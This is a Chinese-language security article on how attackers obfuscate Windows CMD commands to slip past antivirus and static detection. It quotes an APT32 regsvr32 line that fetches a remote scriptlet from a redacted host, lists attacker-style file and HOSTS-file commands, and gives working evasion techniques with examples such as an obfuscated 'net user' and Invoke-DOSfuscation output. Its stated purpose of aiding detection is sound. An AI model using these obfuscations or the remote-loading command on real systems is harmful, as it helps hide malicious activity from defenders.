一. 背景
首先要說一下攻擊者為什么會使用CMD命令混淆,它的目的是什么?首先舉幾個現實中的例子:
1. Emotet木馬
Emotet一款著名的銀行木馬,首次出現於2014年年中。該木馬主要通過垃圾郵件的方式傳播感染目標用戶,並通過腳本混淆、加密或編碼方式來繞過AV檢測,比如在垃圾郵件word附件中使用宏攻擊, 如下圖所示,這是一個從DOC文檔嵌入的VBA宏代碼中提取的CMD命令,乍一看上去,像是無意義的一串字符。
2. APT32
APT32在使用regsvr32.exe 遠程注冊組件,使用混淆方式來逃避C2檢測。
regsvr32.exe /s /n /u /i:”h”t”t”p://<REDACTED>.jpg scrobj.dll
3. FIN7
FIN7 在使用LINK文件釣魚時,對命令參數進行混淆:
APT攻擊中使用混淆姿勢多種多樣,主要是通過混淆對抗靜態檢測,AV無法提取敏感參數,C2地址,從而實現繞過。同時也會加大安全人員對內容的分析難度。
做過安全策略的同學,肯定會想到 對cmd.exe的進程鏈進行監控,這樣就不用管命令是否混淆,當然這是一種很好的方式,但是並不能將所有場景覆蓋。cmd自身有很多內置命令,根本不會產生子進程,同樣威脅很大,因此對CMD命令混淆的檢測和還原非常重要。
|
功能 |
使用 |
|---|---|
|
File copy |
cmd /c copy powershell.exe benign.exe |
|
File deletion |
cmd /c del benign.exe |
|
File creation |
cmd /c “echo LINE1 > bad.vbs&&echo LINE2 >> bad.vbs” |
|
File read |
cmd /c type HOSTS |
|
File modification |
cmd /c “echo 127.0.0.1 www.baidu.com >> HOSTS” |
|
File listing |
cmd /c dir “C:\Program Files*” |
|
Directory creation |
cmd /c mkdir %PUBLIC%\Recon |
|
Symbolic link creation |
cmd /c mklink ClickMe C:\Users\Public\evil.exe |
二.CMD命令的混淆姿勢
利用大小寫與特殊字符進行混淆
在CMD中,CMD命令大小寫並不敏感,ping = PINg = PING :
常用來混淆命令的特殊字符主要有以下四種:
1.字符“^”是CMD命令中最常見的轉義字符,該字符不影響命令的執行。在cmd環境中,有些字符具備特殊功能,如 >、>>表示重定向,| 表示管道,&、&&、|| 表示語句連接,它們都有特定的功能。如果需要把它們作為字符輸出的話,就需要對這些特殊字符做轉義處理:在每個特殊字符前加上轉義字符^。舉個例子:echo ^>、echo ^|、echo ^|^|、echo ^^ 和c^m^d。
2.逗號“,”和分號 “;”可以互換,可以取代命令中的合法空格,多個空格也不影響命令執行。
3.成對的圓括號()也會出現在命令參數中,也不影響命令的執行。圓括號表示嵌入子命令組,同樣被cmd.exe參數處理器進行解釋。
4.雙引號 。使用雙引號包裹字符,相當於將字符進行連接。
利用環境變量進行混淆
cmd.exe的環境變量分為系統已有的環境變量和自定義變量。利用環境變量的值中的字符或字符串,可以拼接成黑客需要的cmd命令,並逃避靜態檢測。在cmd中 ,set命令用來顯示、設置或刪除cmd.exe環境變量。命令格式:
SET [variable=[string]]
- variable 指定環境變量名。
- string 指定要指派給變量的一系列字符串。
在命令行中輸入 set,會列舉出cmd.exe中所有的環境變量,其中比較有意思的是%ComSpec%變量,值默認為“C:\WINDOWS\system32\cmd.exe”。
我們可以利用系統中已有的環境變量,通過對環境變量進行截取拼接出想要的cmd命令。格式:
%VarName:~offset[,length]%
主要用於獲取環境變量VarName的變量值,偏移offset字節之后長度為length個字節。[,length]可省略。offset 默認下標從0開始,offset也支持負數,表示反向遍歷字符串的下標。舉個例子:通過%comspec%截取出cmd.exe。
通常我們也可以自定義一個或者多個環境變量,利用環境變量值中的字符,提取並拼接出最終想要的cmd命令。如:
cmd /c “ set envar1=ser&& set envar2=ne&& set envar3=t u&&call echo %envar2%%envar3%%envar1%”
備注:Cmd /C “string”表示:執行字符串string指定的命令,然后終止。
在上圖中,/V:ON參數 可以啟用延遲的環境變量擴展。當/V:ON參數啟用時,可以不使用call命令來擴展變量,使用 %var% 或 !var! 來擴展變量,!var!可以用來代替%var%。
cmd /V:ON /C " set envar1=ser&& set envar2=ne&& set envar3=t u&& call echo !envar2!!envar3!!envar1!"
cmd.exe內部命令除了set,還有 assoc ,ftype等。我們可以使用這些內部命令產生的信息,拼接出我們想要的cmd命令。
assoc:文件名擴展關聯命令,用於顯示和設置文件名擴展關聯,可以指定某種后綴名的文件按照特定的類型文件打開或執行。命令格式為:
assoc [.ext[=[fileType]]]
ftype:顯示或修改用在文件擴展名關聯中的文件類型,指定一種類型的文件默認用哪個程序運行或打開。命令格式為:
ftype [fileType[=[openCommandString]]
利用For循環拼接命令
For循環經常被用來混淆處理cmd命令,使得cmd命令看起來復雜且難以檢測,屬於混淆中比較高階的用法。
在For循環使用過程中,最常用的參數是 /F 和/L。
FOR /L %variable IN (start,step,end) DO command [command-parameters] 該集表示以增量形式從開始到結束的一個數字序列。因此,(1,1,5)將產生序列12345,(5,-1,1)將產生序列(54321) FOR /F ["options"] %variable IN (file-set) DO command [command-parameters] FOR /F ["options"] %variable IN ("string") DO command [command-parameters] FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
舉個例子,看一下For循環是如何生成命令的:
for /f " delims=f= tokens=2" %f IN ( 'assoc .cmd' ) do %f
- delims=f= :以f 與 = 進行分隔字符串
- tokens=2 :選擇分隔后的第二列
將assoc .cmd 的返回內容拆分后,第二列正好是cmd,最后的結果就是執行cmd。
混淆神器
基於上述的原理,安全大牛創造了專門的CMD命令混淆工具,高深的命令混淆批量生產,賣成了白菜價。
https://github.com/danielbohannon/Invoke-DOSfuscation
混淆分為三個等級,以ipconfig命令為例子:
1.初級 簡單通過環境變量進行混淆
cmd /C"set 4i=ipc&&set E3z=onfig&&call set sfkl=%4i%%E3z%&&cmd.exe /C %sfkl%"
2.中級
^c^M^D, , , , /^c", ,(, , , , , (s^et ^ w^3=i^pco) , )&& (S^Et ^ eH^P=n^fig)& , , C^aLl, sE^t GyHE=%w^3%%eH^P%& , , %LoCaLAPpdata:~ -3,+1%%pRoGramw6432:~9,1%d, ,/^R, , %Gy^HE%"
3.高級
^F^o^r; /^F ; , " delims=i=f tokens=2 " ,,%^2, IN; ( ,; ' ; , ^^A^^ssoC ,.cmd '; ; ) ; , ^DO ; ,%^2; ;M, , QbYcFKyL5/R "; ;(^se^T ^ ^ -,^]=^p)&&(,,,(s^e^T^_^*=^i);;)&&(^s^E^T^^@,+=^f)&& (^S^Et ^ ^{^+%&&; ^C^A^LL,E^C^Ho; %^@^}%"|, ; F^Or , /^f ;;"tokens= 1 delims=qfNzR" , ; %^D ; ^In ; (; ; ' ;, ^^^^Ft^^^^YP^^^^E ; ,^^^|; ,^^^^F^^^^iN^^^^Dst^^^^R,^^^^c^^^^m ' ; ); , ^d^O, , %^D;
